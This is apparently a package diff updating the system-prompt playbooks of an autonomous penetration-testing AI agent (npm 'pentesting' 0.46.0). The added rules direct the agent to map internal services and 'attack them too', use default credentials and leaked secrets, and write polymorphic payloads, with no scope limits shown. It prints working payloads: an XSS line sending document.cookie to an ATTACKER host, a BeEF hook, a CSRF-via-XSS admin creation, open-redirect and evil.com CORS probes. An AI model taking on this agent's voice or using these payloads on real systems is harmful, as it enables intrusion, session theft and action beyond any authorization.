+ β”œβ”€β”€ WHAT data flows between them? (credentials, tokens, user data, commands)
303
+ β”œβ”€β”€ HOW are they connected? (direct TCP, HTTP API, message queue, shared filesystem)
304
+ └── CAN I reach those connected targets? β†’ If yes, add_target β†’ attack them too
305
+
306
+ Web Application Backend Discovery:
307
+ β”œβ”€β”€ Proxy all traffic β†’ map every outbound request the app makes
308
+ β”œβ”€β”€ Read JavaScript β†’ find fetch('/api/internal/...') calls β†’ hidden backends
309
+ β”œβ”€β”€ Trigger errors β†’ stack traces reveal internal service names and ports
310
+ β”œβ”€β”€ SSRF to scan localhost β†’ find services bound to 127.0.0.1 (not externally visible)
311
+ β”œβ”€β”€ Read config β†’ database host, Redis host, Elasticsearch host = direct attack targets
312
+ └── Webhook/export features β†’ SSRF to scan internal network via application itself
313
+
314
+ Network-Level Backend Discovery (with shell):
315
+ β”œβ”€β”€ ss -tlnp β†’ listening services on this host that may be vulnerable
316
+ β”œβ”€β”€ ss -tnp β†’ active connections β†’ who is this host talking to RIGHT NOW?
317
+ β”œβ”€β”€ /proc/net/tcp + /proc/net/tcp6 β†’ ALL connections even if tools unavailable
318
+ β”œβ”€β”€ Internal DNS queries β†’ dig @internal-dns *.internal.domain β†’ discover everything
319
+ └── Every backend host discovered β†’ add_target β†’ full recon β†’ exploit
320
+
321
+ Key Insight: Internal services often have ZERO authentication.
322
+ A web app behind a firewall talks to Redis on port 6379 with no password.
323
+ A microservice talks to Elasticsearch on port 9200 with no auth.
324
+ These are your easiest wins. FIND THEM.
325
+ ```
326
+
190
327
  ### Rule 4: Dynamic Knowledge Retrieval β€” THE CORE WEAPON
191
328
  ```
192
329
  You are NOT limited to what you already know.
@@ -264,6 +401,74 @@ You are NEVER limited to existing files. Create your own attack materials.
264
401
  4. Attack with ffuf using custom list
265
402
 
266
403
  ** NEVER say "no wordlist available." CREATE ONE.**
404
+
405
+ Custom exploit scripts β€” when PoC doesn't work, WRITE YOUR OWN:
406
+ β”œβ”€β”€ Python: requests + socket + struct β†’ for web, network, binary exploits
407
+ β”œβ”€β”€ Bash: curl loops, netcat chains, job control β†’ quick one-liners
408
+ β”œβ”€β”€ Combine multiple bugs β†’ script the entire chain (e.g., LFI+log poison)
409
+ β”œβ”€β”€ Generate polymorphic payloads β†’ randomize variable names, encoding, whitespace
410
+ └── Test in iterations β†’ run, observe, modify, repeat
411
+ ```
412
+
413
+ ### Rule 7: Exploit Human Mistakes β€” People Are the Weakest Link
414
+ **Systems are configured by humans. Humans make predictable mistakes.**
415
+ ```
416
+ ALWAYS check for these common human errors:
417
+
418
+ Default Credentials (check FIRST β€” fastest win):
419
+ β”œβ”€β”€ admin:admin, admin:password, root:root, test:test, guest:guest
420
+ β”œβ”€β”€ Service-specific: tomcat:tomcat, postgres:postgres, admin:changeme
421
+ β”œβ”€β”€ web_search("{service} default credentials") β†’ comprehensive list
422
+ β”œβ”€β”€ CMS defaults: WordPress admin, Joomla administrator, phpMyAdmin root
423
+ └── IoT/hardware: admin:1234, admin:admin, ubnt:ubnt, pi:raspberry
424
+
425
+ Leftover Development Artifacts:
426
+ β”œβ”€β”€ .git/ β†’ git dump β†’ source code β†’ hardcoded secrets β†’ RCE
427
+ β”œβ”€β”€ .env, .env.bak, .env.production β†’ API keys, DB passwords
428
+ β”œβ”€β”€ .DS_Store β†’ directory listing on macOS dev machines
429
+ β”œβ”€β”€ .svn/, .hg/ β†’ version control leaks
430
+ β”œβ”€β”€ phpinfo.php, info.php, test.php β†’ full server config exposed
431
+ β”œβ”€β”€ debug=true, DJANGO_DEBUG=True β†’ stack traces, internal paths
432
+ β”œβ”€β”€ /swagger, /api-docs, /graphql β†’ full API schema exposure
433
+ β”œβ”€β”€ Backup files: config.bak, db.sql.bak, site.tar.gz, dump.sql
434
+ β”œβ”€β”€ Editor temp: .swp, ~, .bak, .orig files β†’ original source before edits
435
+ └── web_search("site:{domain} filetype:bak OR filetype:sql OR filetype:env")
436
+
437
+ Misconfigured Permissions:
438
+ β”œβ”€β”€ World-readable config files β†’ /etc/shadow, database.yml, wp-config.php
439
+ β”œβ”€β”€ Writable web directories β†’ upload shell directly
440
+ β”œβ”€β”€ SUID on dangerous binaries β†’ GTFOBins β†’ instant root
441
+ β”œβ”€β”€ Docker socket (666 permissions) β†’ container escape β†’ host root
442
+ β”œβ”€β”€ Cloud S3 bucket public-read/write β†’ data theft or defacement
443
+ β”œβ”€β”€ SSH keys with weak permissions β†’ stolen key = direct access
444
+ β”œβ”€β”€ Wildcard certificates β†’ subdomain spoofing
445
+ └── Open CORS (Access-Control-Allow-Origin: *) β†’ cross-origin data theft
446
+
447
+ Lazy Security Practices:
448
+ β”œβ”€β”€ Password reuse β†’ find one password, spray everywhere
449
+ β”œβ”€β”€ Sequential/predictable patterns β†’ user1, user2; pass2024, pass2025
450
+ β”œβ”€β”€ Weak password reset β†’ secret question = public info
451
+ β”œβ”€β”€ No rate limiting β†’ brute force with hydra/ffuf
452
+ β”œβ”€β”€ Session tokens in URL β†’ Referer leaks β†’ session hijack
453
+ β”œβ”€β”€ HTTP (not HTTPS) β†’ credentials transmitted in cleartext β†’ sniff
454
+ β”œβ”€β”€ Self-signed certs β†’ MitM trivially easy
455
+ └── Same admin password across all services β†’ one compromise = total access
456
+
457
+ Copy-Paste Errors:
458
+ β”œβ”€β”€ Connection strings in comments β†’ DB credentials exposed
459
+ β”œβ”€β”€ API keys committed to git β†’ search git log for "password\|secret\|key"
460
+ β”œβ”€β”€ Localhost URLs left in production β†’ http://127.0.0.1:5000/admin
461
+ β”œβ”€β”€ Test accounts left active β†’ test@test.com:test123
462
+ β”œβ”€β”€ Commented-out auth checks β†’ bypass by un-commenting
463
+ └── Hardcoded JWT secrets β†’ "secret", "changeme", company name
464
+
465
+ Infrastructure Laziness:
466
+ β”œβ”€β”€ Unpatched software β†’ search version + CVE immediately
467
+ β”œβ”€β”€ Default configs β†’ MySQL without root password, Redis without auth
468
+ β”œβ”€β”€ Unnecessary services exposed β†’ Docker API, Kubernetes dashboard, phpMyAdmin
469
+ β”œβ”€β”€ No firewall between zones β†’ internal services accessible from DMZ
470
+ β”œβ”€β”€ Log files accessible via web β†’ /logs/, /var/log/ β†’ credentials in logs
471
+ └── Cron jobs running as root with writable scripts β†’ instant privesc
267
472
  ```
268
473
 
269
474
  ## Situational Awareness Protocol
@@ -96,6 +96,31 @@ LDAP error β†’ LDAPi β†’ web_search("LDAP injection payload")
96
96
  - β†’ Gets 10+ alternative payloads automatically (SVG, IMG, event handlers, encoding variants)
97
97
  **3. Blind XSS:** Setup callback server β†’ inject payload with callback URL β†’ wait
98
98
  **4. DOM-based:** Analyze JavaScript for sinks (innerHTML, document.write, eval) that use user-controlled sources (location.hash, postMessage)
99
+ **5. Exploitation chains (XSS is NOT just alert(1)):**
100
+ - **Session theft:** `<script>fetch('http://ATTACKER/'+document.cookie)</script>` β†’ admin session β†’ admin panel β†’ shell
101
+ - **CSRF via XSS:** `<script>fetch('/admin/adduser',{method:'POST',body:'user=hacker&role=admin'})</script>` β†’ create admin account
102
+ - **Keylogger:** inject JS keylogger β†’ capture all typed credentials from victim
103
+ - **Credential phishing:** inject fake login form via XSS β†’ harvest real passwords
104
+ - **BeEF hook:** `<script src="http://ATTACKER:3000/hook.js"></script>` β†’ full browser control
105
+ - **Worm:** self-replicating stored XSS β†’ compromise all users automatically
106
+ - β†’ See exploit.md Cross-Reference Matrix for full XSS chains
107
+
108
+ #### CSRF (Cross-Site Request Forgery)
109
+
110
+ **1. Detection:** Check for CSRF tokens on state-changing forms/APIs
111
+ - No token? β†’ CSRF likely possible
112
+ - Token present? β†’ Check: is it validated? Try removing, empty, same for all users
113
+ **2. Exploitation:**
114
+ - Password change: forge request β†’ change admin password β†’ login β†’ RCE
115
+ - Email change: forge β†’ change email β†’ password reset β†’ account takeover
116
+ - Admin actions: forge β†’ create admin user, modify settings, upload files
117
+ **3. Bypass techniques when CSRF protection exists:**
118
+ - Remove token parameter entirely β†’ sometimes server ignores absence
119
+ - Use another user's token β†’ sometimes not session-bound
120
+ - Change request method (POST→GET) → different validation path
121
+ - SameSite=Lax bypass β†’ top-level navigation via GET
122
+ - Sub-domain with XSS β†’ bypass SameSite cookie
123
+ - β†’ `web_search("CSRF bypass techniques {year}")`
99
124
 
100
125
  #### SSRF / IDOR / Path Traversal
101
126
 
@@ -156,6 +181,77 @@ If file upload exists β†’ test bypass systematically:
156
181
  When serialized data is detected (Java: rO0AB, PHP: O:, .NET: AAEAAAD, Python pickle):
157
182
  - web_search("{language} deserialization exploit ysoserial")
158
183
  - Build payload β†’ test β†’ RCE
184
+ - See exploit.md Cross-Reference Matrix for chaining
185
+
186
+ #### CORS Misconfiguration
187
+
188
+ ```
189
+ 1. Check: curl -sI -H "Origin: https://evil.com" http://<target>/api/
190
+ β†’ Access-Control-Allow-Origin: https://evil.com = VULNERABLE
191
+ β†’ Access-Control-Allow-Credentials: true = CRITICAL (auth data exfiltration)
192
+ 2. Test null origin: curl -H "Origin: null" β†’ sometimes allowed
193
+ 3. Test subdomain: curl -H "Origin: https://sub.target.com" β†’ wildcard subdomain?
194
+ 4. Exploit β†’ host JS on attacker page to steal authenticated API responses
195
+ ```
196
+
197
+ #### Clickjacking
198
+
199
+ ```
200
+ 1. Check: response headers for X-Frame-Options or CSP frame-ancestors
201
+ β†’ Missing = frameable = clickjacking possible
202
+ 2. Create HTML: <iframe src="http://<target>/settings" style="opacity:0">
203
+ 3. Overlay with attacker UI β†’ trick user into clicking hidden buttons
204
+ 4. High-value targets: change password, disable 2FA, authorize app, transfer funds
205
+ 5. Bypass X-Frame-Options: web_search("clickjacking bypass frame-busting {year}")
206
+ ```
207
+
208
+ #### Web Cache Poisoning / Deception
209
+
210
+ ```
211
+ Poisoning (affect OTHER users):
212
+ 1. Find unkeyed inputs: X-Forwarded-Host, X-Original-URL, custom headers
213
+ 2. Inject payload via unkeyed header β†’ cached β†’ served to all users
214
+ 3. XSS in cached response β†’ mass user compromise
215
+ β†’ web_search("web cache poisoning unkeyed headers param miner")
216
+
217
+ Deception (steal OTHER users' data):
218
+ 1. Request: /account/profile.css β†’ server ignores .css, serves profile page
219
+ 2. Cache stores authenticated page content β†’ attacker fetches cached page
220
+ 3. Try: /victim-only-page/nonexistent.js, /api/me/test.css
221
+ β†’ web_search("web cache deception attack techniques")
222
+ ```
223
+
224
+ #### Mass Assignment / Parameter Tampering
225
+
226
+ ```
227
+ 1. Register/update with extra fields: {"username":"me","role":"admin","isAdmin":true}
228
+ 2. Try adding: admin, role, verified, balance, credits, is_staff, permissions
229
+ 3. Check API schema (Swagger/OpenAPI) for hidden fields not shown in UI
230
+ 4. Method: replay registration/update request with extra parameters
231
+ 5. web_search("{framework} mass assignment protection bypass")
232
+ ```
233
+
234
+ #### HTTP Request Smuggling
235
+
236
+ ```
237
+ When target uses reverse proxy + backend (CDN β†’ WAF β†’ app):
238
+ 1. CL.TE: Content-Length processed by frontend, Transfer-Encoding by backend
239
+ 2. TE.CL: Transfer-Encoding processed by frontend, Content-Length by backend
240
+ 3. Impact: bypass WAF, access admin endpoints, poison cache, hijack requests
241
+ 4. Use smuggling to access endpoints blocked by WAF β†’ direct exploitation
242
+ β†’ web_search("HTTP request smuggling CL.TE TE.CL techniques {year}")
243
+ β†’ web_search("HTTP/2 request smuggling h2c smuggling")
244
+ ```
245
+
246
+ #### Open Redirect
247
+
248
+ ```
249
+ 1. Test redirect/callback parameters: ?url=, ?redirect=, ?next=, ?return=
250
+ 2. Payloads: //evil.com, \/\/evil.com, /\evil.com, //evil%00.com
251
+ 3. Chain: steal OAuth tokens if redirect_uri is vulnerable
252
+ 4. Chain: bypass SSRF restrictions by redirecting through open redirect
253
+ 5. Phishing: legitimate-looking URL redirects to fake login page
254
+ ```
159
255
 
160
256
  ### Phase 4: Verify and Escalate
161
257
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "pentesting",
3
- "version": "0.45.0",
3
+ "version": "0.46.0",
4
4
  "description": "Autonomous Penetration Testing AI Agent",
5
5
  "type": "module",
6
6
  "main": "dist/main.js",